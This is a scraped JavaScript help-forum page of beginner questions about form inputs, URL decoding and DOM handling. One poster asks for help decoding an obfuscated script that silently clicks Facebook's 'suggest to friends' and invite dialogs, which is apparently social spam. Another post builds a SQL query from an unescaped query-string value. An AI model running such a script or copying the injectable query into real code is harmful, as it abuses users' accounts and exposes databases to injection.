JavaScript - Decode Input Into Url
hi, i was wondering if anyone could help me with decoding an input box value and passing that into the url. its been super frurstrating trying to do this. thank you in advance!
basically i wrote a function that decodes a url. for example if i enter t05:34:23-79-79.003z.444z, i want it to stay like that when it goes into the url. if you use internet explorer, entering that input becomes... t05%3A34%3A23-79-79.003z.444z. on google chrome, it stays as t05:34:23-79-79.003z.444z but i need this to work on internet explorer. [<html> <head> <script type="text/javascript"> function decode() { var obj = document.getElementById("workorder"); alert(obj); //is it normal that this alert just returns 'object'? am i calling the form wrong somehow? var encoded = obj.value; obj.value = decodeURIComponent(encoded.replace(/\+/g, " ")); } </script> </head> <body> <div id="workorder" style="display: block"> <form name = "workorder" action="http://localhost/Lights/WorkOrder.jsp" onsubmit="return validate_form(this)" method="get"><b>WorkOrder:</b> <br> Id Required: <input type="hidden" name="method" value="getWorkOrders"> <input type="text" name="lightId" size="30"> <input type="submit" onclick="decode()" value="Go"> <br> </form> </div> </body> </html>] thank you advance! Similar TutorialsCan anybody decode this for me? I got this from a forum and it's extraneous in the sense that it isn't on any other forum being hosted by the same company (zetaboards). sorry for the formatting. Code: var _0x3e64=["\x4C","\x6D\x65\x6D\x62\x65\x72\x73\x31","\x4D","\x6D\x65\x6D\x62\x65\x72\x73\x32","\x61","\x6D\x65\x6D\x62\x65\x72\x73\x33","\x49\x6E\x74\x72\x6F","\x6D\x65\x6D\x62\x65\x72\x73\x34","\x6D\x65\x6D\x62\x65\x72\x73\x35","\x6D","\x6D\x65\x6D\x62\x65\x72\x73\x36","\x6D\x65\x6D\x62\x65\x72\x73\x37","\x6D\x65\x6D\x62\x65\x72\x73\x38","\x4D\x65\x6D\x62\x65\x72","\x6D\x65\x6D\x62\x65\x72\x73\x39","\x6D\x65\x6D\x62\x65\x72\x73\x31\x30","\x6D\x65\x6D\x62\x65\x72\x73\x31\x31","\x6D\x65\x6D\x62\x65\x72\x73\x31\x32","\x6D\x65\x6D\x62\x65\x72\x73\x31\x33","\x6D\x65\x6D\x62\x65\x72\x73\x31\x34","\x6D\x65\x6D\x62\x65\x72\x73\x31\x35","\x4C\x65\x61\x64\x65\x72","\x6D\x65\x6D\x62\x65\x72\x73\x31\x36","\x6D\x65\x6D\x62\x65\x72\x73\x31\x37","\x6D\x65\x6D\x62\x65\x72\x73\x31\x38","\x6D\x65\x6D\x62\x65\x72\x73\x31\x39","\x6D\x65\x6D\x62\x65\x72\x73\x32\x30","\x6D\x65\x6D\x62\x65\x72\x73\x32\x31","\x6D\x65\x6D\x62\x65\x72\x73\x32\x32","\x6D\x65\x6D\x62\x65\x72\x73\x32\x33","\x6D\x65\x6D\x62\x65\x72\x73\x32\x34","\x6D\x65\x6D\x62\x65\x72\x73\x32\x35","\x6D\x65\x6D\x62\x65\x72\x73\x32\x36","\x6D\x65\x6D\x62\x65\x72\x73\x32\x37","\x61\x64\x64\x43\x6C\x61\x73\x73","\x74\x64\x2E\x63\x5F\x70\x6F\x73\x74","\x66\x69\x6E\x64","\x74\x72","\x63\x6C\x6F\x73\x65\x73\x74","\x68\x74\x6D\x6C","\x23\x74\x6F\x70\x5F\x69\x6E\x66\x6F\x20\x61\x3A\x66\x69\x72\x73\x74","\x42\x41\x42\x41\x5F\x42\x4F\x30\x45\x59","\x42\x61\x67\x75\x73","\x42\x6F\x62\x20\x50\x6B\x65\x72\x32\x30","\x44\x65\x6F\x78\x79\x73\x33\x39","\x44\x6F\x6E\x67","\x65\x76\x69\x6C\x5F\x6C\x75\x72\x6B\x73\x35","\x46\x65\x64","\x69\x63\x68\x69\x67\x6F\x20\x6B\x61\x69","\x4A\x75\x61\x6E\x63\x6F\x38\x39","\x4C\x65\x6D\x61\x61\x61\x61","\x4C\x6F\x72\x64\x69","\x6C\x70\x74\x62\x5F\x6A\x61\x74\x74\x5F\x36\x39","\x4E\x6F\x72\x74\x68\x20\x4C\x69\x67\x68\x74\x7A","\x70\x30\x30\x6E\x65\x64","\x52\x69\x74\x63\x68\x69\x65","\x53\x70\x79\x64\x61","\x63\x61\x6C\x69\x6E\x62\x31\x32","\x44\x61\x6D\x61\x6E\x31\x30","\x67\x65\x74\x74\x6F\x30\x31","\x53\x63\x61\x70\x65\x72\x53\x6C\x61\x79\x65\x72","\x53\x69\x72\x5F\x44\x61\x6E\x61\x7A","\x57\x65\x73\x74\x4C\x69\x67\x68\x74\x7A","\x73\x74\x65\x76\x65\x6E\x6E\x31\x33\x20","\x79\x66\x6D","\x5A\x65\x72\x6F\x30\x68\x65\x72\x6F","\x61\x6B\x6E\x6F","\x61\x6E\x67\x65\x6C\x69\x6E\x62\x68\x31","\x41\x72\x63\x68\x65\x72\x35\x36","\x42\x6C\x6F\x6F\x64\x61\x78\x65\x5F\x38\x38","\x42\x75\x7A\x7A\x6B\x69\x6C\x6C\x61","\x43\x61\x61\x6C\x76\x69\x69\x6E","\x64\x65\x73\x61\x70\x6F\x78","\x45\x73\x70\x69\x67\x4E\x6E","\x47\x20\x77\x20\x6F\x20\x67","\x4C\x65\x78\x20\x54\x68\x65\x20\x42\x65\x73\x74","\x6C\x75\x6B\x65\x35\x36\x31\x38","\x4D\x34\x74\x65\x64\x20\x70\x6B\x65\x72","\x6D\x73\x74\x65\x72","\x6F\x6C\x61\x76\x69\x74\x65","\x50\x6F\x77\x6E\x5F\x79\x6F\x75\x39","\x47\x75\x6E\x66\x6C\x6F\x70","\x72\x75\x6E\x65\x73\x69\x6D\x69\x74\x61\x72\x33","\x53\x61\x6E\x79\x62\x6F\x69","\x53\x65\x63\x74\x6F\x72\x20\x53\x69\x78","\x73\x74\x72\x6F\x6E\x67\x74\x61\x6E\x6B\x31\x31","\x54\x20\x49\x20\x44\x20\x55\x20\x52\x20\x43\x20\x49\x20\x4F","\x76\x69\x6E\x74\x61\x67\x65\x70\x6B\x65\x72\x7A","\x78\x46\x72","\x5B\x2D\x48\x61\x76\x69\x6B\x2D\x5D","\x61\x72\x72\x6F\x77\x73\x2D\x74\x6F\x79","\x64\x65\x61\x64\x6D\x61\x6E\x69\x6E\x63\x36\x36","\x6B\x61\x72\x61\x6D\x62\x61\x36\x39","\x4C\x6F\x72\x64\x62\x6C\x61\x63\x6B\x34\x37","\x73\x63\x6F\x74\x74\x69\x65\x62\x6F\x79\x38\x31","\x70\x6B\x69\x6E\x67\x70\x75\x72\x65\x30\x30\x37","\x53\x6E\x61\x70\x74\x69\x4B","\x74\x75\x72\x74\x6C\x65\x78\x64","\x5A\x69\x6E\x68\x6F","\x4B\x6D\x61\x6E","\x58\x44\x61\x52\x6B\x45\x73\x54\x78","\x69\x6E\x73\x61\x6E\x65\x6C\x75\x76\x65\x72","\x41\x72\x61\x62\x50\x6F\x70\x63\x6F\x72\x6E","\x6B\x66","\x64\x69\x65\x20\x6E\x75\x62\x20\x70\x6C\x7A","\x65\x61\x63\x68","\x64\x6C\x2E\x75\x73\x65\x72\x5F\x69\x6E\x66\x6F\x20\x3E\x20\x64\x74\x3A\x63\x6F\x6E\x74\x61\x69\x6E\x73\x28\x47\x72\x6F\x75\x70\x3A\x29\x20\x2B\x20\x64\x64"];var group=[[_0x3e64[0],_0x3e64[1]],[_0x3e64[2],_0x3e64[3]],[_0x3e64[4],_0x3e64[5]],[_0x3e64[6],_0x3e64[7]],[_0x3e64[4],_0x3e64[8]],[_0x3e64[9],_0x3e64[10]],[_0x3e64[4],_0x3e64[11]],[_0x3e64[9],_0x3e64[12]],[_0x3e64[13],_0x3e64[14]],[_0x3e64[4],_0x3e64[15]],[_0x3e64[6],_0x3e64[16]],[_0x3e64[4],_0x3e64[17]],[_0x3e64[9],_0x3e64[18]],[_0x3e64[4],_0x3e64[19]],[_0x3e64[9],_0x3e64[20]],[_0x3e64[21],_0x3e64[22]],[_0x3e64[13],_0x3e64[23]],[_0x3e64[4],_0x3e64[24]],[_0x3e64[6],_0x3e64[25]],[_0x3e64[4],_0x3e64[26]],[_0x3e64[9],_0x3e64[27]],[_0x3e64[4],_0x3e64[28]],[_0x3e64[9],_0x3e64[29]],[_0x3e64[21],_0x3e64[30]],[_0x3e64[13],_0x3e64[31]],[_0x3e64[4],_0x3e64[32]],[_0x3e64[6],_0x3e64[33]]];function lol(_0x77d3x3,_0x77d3x4){$(_0x77d3x3)[_0x3e64[38]](_0x3e64[37])[_0x3e64[36]](_0x3e64[35])[_0x3e64[34]](group[_0x77d3x4][1])};$(_0x3e64[106])[_0x3e64[105]](function(){username=$(_0x3e64[40])[_0x3e64[39]]();if(username==_0x3e64[41]||username==_0x3e64[42]||username==_0x3e64[43]){x=0};if(username==_0x3e64[44]||username==_0x3e64[45]){x=1};if(username==_0x3e64[46]||username==_0x3e64[47]){x=2};if(username==_0x3e64[48]||username==_0x3e64[49]){x=3};if(username==_0x3e64[50]||username==_0x3e64[51]){x=4};if(username==_0x3e64[52]||username==_0x3e64[53]){x=5};if(username==_0x3e64[54]||username==_0x3e64[55]){x=6};if(username==_0x3e64[56]||username==_0x3e64[57]){x=7};if(username==_0x3e64[58]||username==_0x3e64[59]){x=8};if(username==_0x3e64[60]||username==_0x3e64[61]||username==_0x3e64[62]){x=9};if(username==_0x3e64[63]||username==_0x3e64[64]){x=10};if(username==_0x3e64[65]||username==_0x3e64[66]){x=11};if(username==_0x3e64[67]||username==_0x3e64[68]){x=12};if(username==_0x3e64[69]||username==_0x3e64[70]||username==_0x3e64[71]){x=13};if(username==_0x3e64[72]||username==_0x3e64[73]||username==_0x3e64[74]){x=14};if(username==_0x3e64[75]||username==_0x3e64[76]||username==_0x3e64[77]){x=15};if(username==_0x3e64[78]||username==_0x3e64[79]){x=16};if(username==_0x3e64[80]||username==_0x3e64[81]){x=17};if(username==_0x3e64[82]||username==_0x3e64[83]){x=18};if(username==_0x3e64[84]||username==_0x3e64[85]||username==_0x3e64[86]){x=19};if(username==_0x3e64[87]||username==_0x3e64[88]||username==_0x3e64[89]){x=20};if(username==_0x3e64[90]||username==_0x3e64[91]||username==_0x3e64[92]){x=21};if(username==_0x3e64[93]||username==_0x3e64[94]){x=22};if(username==_0x3e64[95]||username==_0x3e64[96]||username==_0x3e64[97]||username==_0x3e64[98]){x=23};if(username==_0x3e64[99]||username==_0x3e64[100]){x=24};if(username==_0x3e64[101]||username==_0x3e64[102]||username==_0x3e64[103]||username==_0x3e64[104]){x=0};lol(this,x)}); Hey guys, I have been trying to decode this code for the past week but haven't been able to. I've tried using IE8, Chrome, and numerous other ways but none of the methods i've tried works =(. If somebody here is able to decode it or tell me how, that would be awesome! Code: var a=["\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c", "\x61\x70\x70\x31\x31\x39\x33\x30\x30\x31\x38\x31\x34\x31\x34\x34\x33\x31\x5f\x69\x6d\x67", "\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64", "\x3c\x61\x20\x69\x64\x3d\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3d\x22\x23\x22\x20\x61\x6a\x61\x78\x69\x66\x79\x3d\x22\x2f\x61\x6a\x61\x78\x2f\x73\x6f\x63\x69\x61\x6c\x5f\x67\x72\x61\x70\x68\x2f\x69\x6e\x76\x69\x74\x65\x5f\x64\x69\x61\x6c\x6f\x67\x2e\x70\x68\x70\x3f\x63\x6c\x61\x73\x73\x3d\x46\x61\x6e\x4d\x61\x6e\x61\x67\x65\x72\x26\x61\x6d\x70\x3b\x6e\x6f\x64\x65\x5f\x69\x64\x3d\x31\x31\x35\x31\x36\x36\x36\x31\x38\x35\x30\x37\x34\x30\x32\x22\x20\x63\x6c\x61\x73\x73\x3d\x22\x20\x70\x72\x6f\x66\x69\x6c\x65\x5f\x61\x63\x74\x69\x6f\x6e\x20\x61\x63\x74\x69\x6f\x6e\x73\x70\x72\x6f\x5f\x61\x22\x20\x72\x65\x6c\x3d\x22\x64\x69\x61\x6c\x6f\x67\x2d\x70\x6f\x73\x74\x22\x3e\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6f\x20\x46\x72\x69\x65\x6e\x64\x73\x3c\x2f\x61\x3e", "\x73\x75\x67\x67\x65\x73\x74", "\x4d\x6f\x75\x73\x65\x45\x76\x65\x6e\x74\x73", "\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6e\x74", "\x63\x6c\x69\x63\x6b", "\x69\x6e\x69\x74\x45\x76\x65\x6e\x74", "\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6e\x74", "\x73\x65\x6c\x65\x63\x74\x5f\x61\x6c\x6c", "\x73\x67\x6d\x5f\x69\x6e\x76\x69\x74\x65\x5f\x66\x6f\x72\x6d", "\x2f\x61\x6a\x61\x78\x2f\x73\x6f\x63\x69\x61\x6c\x5f\x67\x72\x61\x70\x68\x2f\x69\x6e\x76\x69\x74\x65\x5f\x64\x69\x61\x6c\x6f\x67\x2e\x70\x68\x70", "\x73\x75\x62\x6d\x69\x74\x44\x69\x61\x6c\x6f\x67"];void (document[a[2]](a[1])[a[0]]=a[3]);var ss=alert;var c=document[a[6]](a[5]);c[a[8]](a[7],true,true); void (ss[a[9]](c)); void (setTimeout(function (){fs[a[10]]();} ,4000)); void (setTimeout(function (){SocialGraphManager[a[13]](a[11],a[12]);} ,5000)); void (document[a[2]](a[1])[a[0]]="\x3c\x69\x6d\x67\x20\x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x6a\x61\x6d\x65\x73\x6a\x65\x66\x66\x65\x72\x79\x2e\x63\x6f\x6d\x2f\x6f\x6d\x67\x2e\x67\x69\x66\x22\x3e"); Hi, I'm trying to use a script for my website. But the script is obfuscated and in english - I need the words in portuguese; besides, the font is the always default Times New Roman, the script uses the <h3> old tags, etc... Can someone kindly help me out to decode some of the files, so I can alter these aspects? Kind regards, Kepler I am thinking this should be fairly easy but yet I am not getting far. I want to have a form with a single text imput field for a zip code. Depending on which zip code the user enters will determine which url they will be sent to. If they enter a zip code which is not in the script, they would be sent to a default url. I am also assuming this can be accomplished with javascript. Any help is greatly appreciated. I have a problem with adding new inputs to a form (if and when required), Internet Explorer is fine but in Firefox if any previous input fields are filled when the more button is clicked they get reset to blank. JS: Code: fields = 0; function addInput() { if (fields != 100) { document.getElementById('input').innerHTML += "<input type='text' name='input[]' size='30' />"; fields += 1; } else { document.getElementById('input').innerHTML += "<br />Maximum 100 fields allowed."; document.form.add.disabled=true;} } form: Code: <form action="index.php" method="post"> <div id="input"> <input type="text" name="input[]" size="30" maxlength="15" /> </div> <!-- button --> <div id="more"> <input type="button" onclick="addInput()" name="add" value="More" /> </div> <!-- // button --> <input type="submit" name="submit" value="Submit" /> </form> as usual any help is appretiated .. Hi, i want to set an input value to the same value as the input selected from another input on the same form so when the user selects input 1 i want the hidden input2 to get the same value im guessing i use onsubmit because its hidden so there wont be a focus or blur this would be part of the input Code: onsubmit="(this.value = this.othervalue)" othervalue being the other input name="othervalue" is that the correct syntax Hi, i have an input value array for customer ids, i also need to make a copy of that array into another input element on submit to use for another process. So far here is what i have come up with regarding the js the current html is this Code: <!-- original input --> <input id="cb<?php echo $i;?>" name="cid[]" value="<?php echo $commissions[$i]['id'];?>" onclick="isChecked(this.checked);" type="checkbox" /> <!-- this is new html input which is outside the $i loop that i need a copy of cid[] stored on submit <input type="hidden" name="ids[]" onsubmit="valueTovalue();" /> <!-- here is the js so far --> <script type="text/javascript"> function valueTovalue() { var valin = document.adminForm.cid.value; //cid is the array cid[] document.adminForm.ids.value = valin; //copy the array to the new input element array ids } </script> so basically if they click 1 cid then ids will also show 1, if they click all cid then ids will show all as well. will that work the way i have it, am i even close here.. thanks update: what i have seems to work fine for text values or string values but not for arrays, what am i missing that it wont copy an array? Array ( [cid] => Array ( [0] => 1 ) [task] => remarksonly [remark] => hhhyyy [boxchecked] => 1 [ids] => Array ( [0] => ) ) am i getting closer lol Code: function valueTovalue() { var valin = cid.concat; document.adminForm.ids.value = valin.concat; return(true); this has to be close i hope Code: document.adminForm.ids.value = [].concat(document.adminForm.cid); Hi all can someone guide me (total JS newbie) on this presumably pretty easy task? I have a "parent" page with some text inputs in it (a form). This is what I am after: -when the user clicks a link it pops open a new window via JS - "child" (this is working). -in the "child" window there are also some text inputs (another form) (done). -when the user changes the value for 'testChild_textInput_4' in the child window, then I want it to automatically set this same value, to effectively overwrite, what is currently in 'testParent_textInput_2' in the parent window. Presumably this involves an onChange event, but it is also OK with me if the needful (the text input's value in the parent window being overwritten) happens upon the child window's form submit. If anyone can show me either trick, I would be thrilled! I set up a test page to make this all easy to talk about: http://www.yellow-turtle.com/testDumpMe_parent.html Please let me know! Thanks! -John I need to change input type="text" to input type="password" via JavaScript Code: <form id="login" action="#" method="post"> <input id="username-field" type="text" name="username" title="Username" onmousedown="javascript:this.value=''; javascript:this.focus();" value="Username" tabindex="1" /> <input id="password-field" type="text" name="password" title="Password" onmousedown="javascript:this.value=''; javascript:this.type='password'; javascript:this.focus();" value="Password" tabindex="2" /> <input type="submit" name="submit" value="sign in" tabindex="3" /> </form> This works in Firefox and Safari but not IE So then I tried this code Code: <script type="text/javascript"> function passit(ip){ var np=ip.cloneNode(true); np.type='password'; if(np.value!=ip.value) np.value=ip.value; ip.parentNode.replaceChild(np,ip); } </script> <form id="login" action="#" method="post"> <input id="username-field" type="text" name="username" title="Username" onmousedown="javascript:this.value=''; javascript:this.focus();" value="Username" tabindex="1" /> <input id="password-field" type="text" name="password" title="Password" onmousedown="javascript:this.value=''; passit(this.form[0]); javascript:this.focus();" value="Password" tabindex="2" /> <input type="submit" name="submit" value="sign in" tabindex="3" /> </form> This does what I need but turns the username type to password field not the password box Please can somone help! How can you get a input box to expand as you type if you exceed X amount of characters?
How can I ask the user for two different numbers and add them?
Hello Everyone, I am trying to set the value of a Input tag with a value retrieved from the cookies. However, it is not working. Here is the script: Code: <html> <head> <title>Example</title> </head> <body> <script type="text/javascript"> document.cookie = "username=John"; var user = get_cookie("username"); document.write ( "Hi " + user + ", welcome to my website!" ); oFormObject.elements["name"].value = user; </script> <center> <br><br><br><br> <form name="register_complaint" action="#"> User Name: <input type="text" size="5" name="name" > <br> <input type="checkbox" name="remeber">Remember Me <br> <input type="button" name="submit" value="Submit Complaint"> </form> </center> <script type="text/javascript"> function get_cookie ( cookie_name ) { var results = document.cookie.match ( '(^|;) ?' + cookie_name + '=([^;]*)(;|$)' ); if ( results ) return ( unescape ( results[2] ) ); else return ""; } </script> </body> </html> Please help me, I've been struggling with this issue for a long time. Cheers Hello i am using a simple calendar date picker in which when u click a date is displayed in an input field. Using a javascript i am trying to retrieve data from a second page using this value but probably i am doing something wrong. 1st page: Code: <script type="text/javascript"> function showCustomer(str) { if (str=="") { document.getElementById("txtHint").innerHTML=""; return; } if (window.XMLHttpRequest) {// code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest(); } else {// code for IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.getElementById("txtHint").innerHTML=xmlhttp.responseText; } } xmlhttp.open("GET","check6.asp?q="+str,true); xmlhttp.send(); } </script> </head> <body> <form> Check in: <input onchange="showCustomer(this.value)" size="22" id="f_date1" /><button id="f_btn1">...</button> <script type="text/javascript">//<![CDATA[ var cal = Calendar.setup({ onSelect: function(cal) { cal.hide() }, showTime: true }); cal.manageFields("f_btn1", "f_date1", "%Y-%m-%d"); //]]></script> </form> <br /> <div id="txtHint">here...</div> </body> </html> and in second one i am trying to get date like this: Code: sql_cmd.CommandText = "SELECT dbo.rooms.id, type, image, price,details FROM dbo.rooms, dbo.transactions WHERE dbo.rooms.id=dbo.transactions.roomid and '" & request.querystring("q") & "' not between checkin and checkout" This was climbing up the tree strructure, where on top and only on very top is one input of type text Now I inserted (inside tree) some inputs of type hidden , which needs to be ignored while below while operates. How to do that ? Getting nowhere with this. Code: function doit(tmpObj) { while (!tmpObj.getElementsByTagName('input')[0]) { tmpObj.style.visibility = 'hidden'; tmpObj = tmpObj.parentNode; } ... After searching the web most of the day, nothing has resolved this issue: Code: <!-- ALERT IS NEVER HIT --> <html> <input type="hidden" id="info" name="info" value="testInformation"/> <script type="text/javascript"> var me = document.getElementById('info').value; alert(me); </script> </html> Code: <!-- ALERT SAYS "null" --> <html> <input type="hidden" id="info" name="info" value="testInformation"/> <script type="text/javascript"> var me = document.getElementById('info'); alert(me); </script> </html> Code: <!-- WORKS GREAT, BUT I NEED THE INPUT FIELD HIDDEN --> <html> <input type="text" id="info" name="info" value="testInformation"/> <script type="text/javascript"> var me = document.getElementById('info').value; alert(me); </script> </html> Any idea how I can keep the input value "hidden" and have javascript still see the value? And yes, I've even tried using the "defer" method. so I am creating a silly word ;irate word interpreter page, and I need some logic behind how to add text to a textarea each time I click on a button. Each time the user clicks on the button, the value is inserted into the text area. You should be able to click on multiple buttons to add to the last text that appears. Then I have a delete translation button when I want to clear the textarea field. A good example would be if the user clicks on the button with the value "sir", than "matey" will appear in the textarea. Now, if the user clicks on the button with the value "your", then "yer" will come up after matey. It's like creating a sentence on your own, and then deleting it when your done. Code: <body> <div id="page"> <div> <img style="float:left" src="slue.gif" width="205" height="190" alt=""> <div> <h1>Pirate Translator</h1> <p>Simply click on the buttons to translate words and/or phrases from English to pirate talk</p> </div> </div><br /> <hr /> <form name="pirate"> <div> <fieldset> <legend><b>Greetings:</b></legend> <input type="button" id="greeting" value="hello" /> <input type="button" id="greeting" value="pardon me" /> <input type="button" id="greeting" value="excuse me" /> <input type="button" id="greeting" value="" /> <input type="button" id="greeting" value="" /> <input type="button" id="greeting" value="" /> </fieldset> </div> <div> <fieldset> <legend><b>People:</b></legend> <input type="button" id="people" value="sir" /> <input type="button" id="people" value="madam" /> <input type="button" id="people" value="miss" /> <input type="button" id="people" value="stranger" /> <input type="button" id="people" value="officer" /> <input type="button" id="people" value="" /> <input type="button" id="people" value="" /> </fieldset> </div> <div> <fieldset> <legend><b>Questions:</b></legend> <input type="button" id="question" value="where is" /> <input type="button" id="question" value="can you help me" /> <input type="button" id="question" value="is that" /> <input type="button" id="question" value="how far is it to" /> <input type="button" id="question" value="" /> <input type="button" id="question" value="" /> <input type="button" id="question" value="" /> <input type="button" id="question" value="" /> </fieldset> </div> <div> <fieldset> <legend><b>Articles:</b></legend> <input type="button" id="article" value="the" /> <input type="button" id="article" value="my" /> <input type="button" id="article" value="your" /> <input type="button" id="article" value="" /> <input type="button" id="article" value="" /> <input type="button" id="article" value="" /> <input type="button" id="article" value="" /> </fieldset> </div> <div> <fieldset> <legend><b>Adjectives:</b></legend> <input type="button" id="adject" value="old" /> <input type="button" id="adject" value="attractiv" /> <input type="button" id="adject" value="happy" /> <input type="button" id="adject" value="" /> <input type="button" id="adject" value="" /> <input type="button" id="adject" value="" /> <input type="button" id="adject" value="" /> </fieldset> </div> <div> <fieldset> <legend><b>Places:</b></legend> <input type="button" id="places" value="restroom" /> <input type="button" id="places" value="restaurant" /> <input type="button" id="places" value="mall" /> <input type="button" id="places" value="hotel" /> <input type="button" id="places" value="pub" /> <input type="button" id="places" value="" /> <input type="button" id="places" value="" /> </fieldset> </div> <div> <fieldset> <legend><b>Desires:</b></legend> <input type="button" id="desire" value="I would like to" /> <input type="button" id="desire" value="I desire" /> <input type="button" id="desire" value="I wish I knew how to" /> <input type="button" id="desire" value="my mother told me to" /> <input type="button" id="desire" value="my campanion tells me to" /> <input type="button" id="desire" value="" /> <input type="button" id="desire" value="" /> </fieldset> </div> <div> <fieldset> <legend><b>Actions:</b></legend> <input type="button" id="action" value="find" /> <input type="button" id="action" value="take a nap" /> <input type="button" id="action" value="kill" /> <input type="button" id="action" value="hurt you" /> <input type="button" id="action" value="beat you up" /> <input type="button" id="action" value="go to the bathroom" /> <input type="button" id="action" value="" /> </fieldset> </div> <div> <p id="output"><textarea id="task_list" rows="5" cols="130"></textarea></p> <p id="output"><input type="button" id="" value="Delete Traslations" /></p> </div> </div> </form> <script src="js/translate.js"></script> </body> </html> I am trying but I can't figure it out, let say you select something on your select values, after selecting that value, how can you dynamically put that value on an input box?
how do i put a red border around an input box with a class of .input1 if it goes into this loop?? Code: if(firstName=='' || firstName.length < 3 || firstName=='First Name:' ){ error = 'Please enter your first name'; $j('#errormsg').html('<p class="errors">'+ error +'</p>'); return false; } I'm guessing this question will be one of the easiest questions ever posted but I'm just not getting this fix. I have a simple Javascript program that calculates a users pace for their run. The inputs are done through an HTML Form. The user can input hours, minutes, & seconds of their run. Then the distance number & measurment. Then finally the pace desired. I am having some trouble with null values in this program. If I input a 0 in hours and then fill everything out the program works great. 100%! But, if I leave the field blank and hit calculate I get a NaN. I'm guessing I need some kind of statement like if this value is null set it to zero but I am not having any luck with exactly what kind of syntax I need. So here is the code, again not very complex, any help would be greatly appreciated! function calculateTime(){ var time_hour = parseInt(document.getElementById("time_hour").value); var time_min = parseInt(document.getElementById("time_minute").value); var time_sec = parseFloat(document.getElementById("time_second").value); var dist_num = parseFloat(document.getElementById("dist_num").value); var pace_choice = document.getElementById("pace_choice").selectedIndex; var dist_choice = document.getElementById("dist_choice").selectedIndex; var total_sec = (time_hour * 3600) + (time_min * 60) + (time_sec); // Then I'm guessing my if statement would go here somewhere? im suppose to validate an ID text field so that is it mandatory, and must be 6 numeric digits. The code i have for the ID field is: Code: <form id="ThisForm"> <label for="emId"> Employee ID: </label></td> <input type="text" name="empID" id="emId" ;"/> </form> I'm beginner to javascript and really has no idea what to do, can someone help pls. |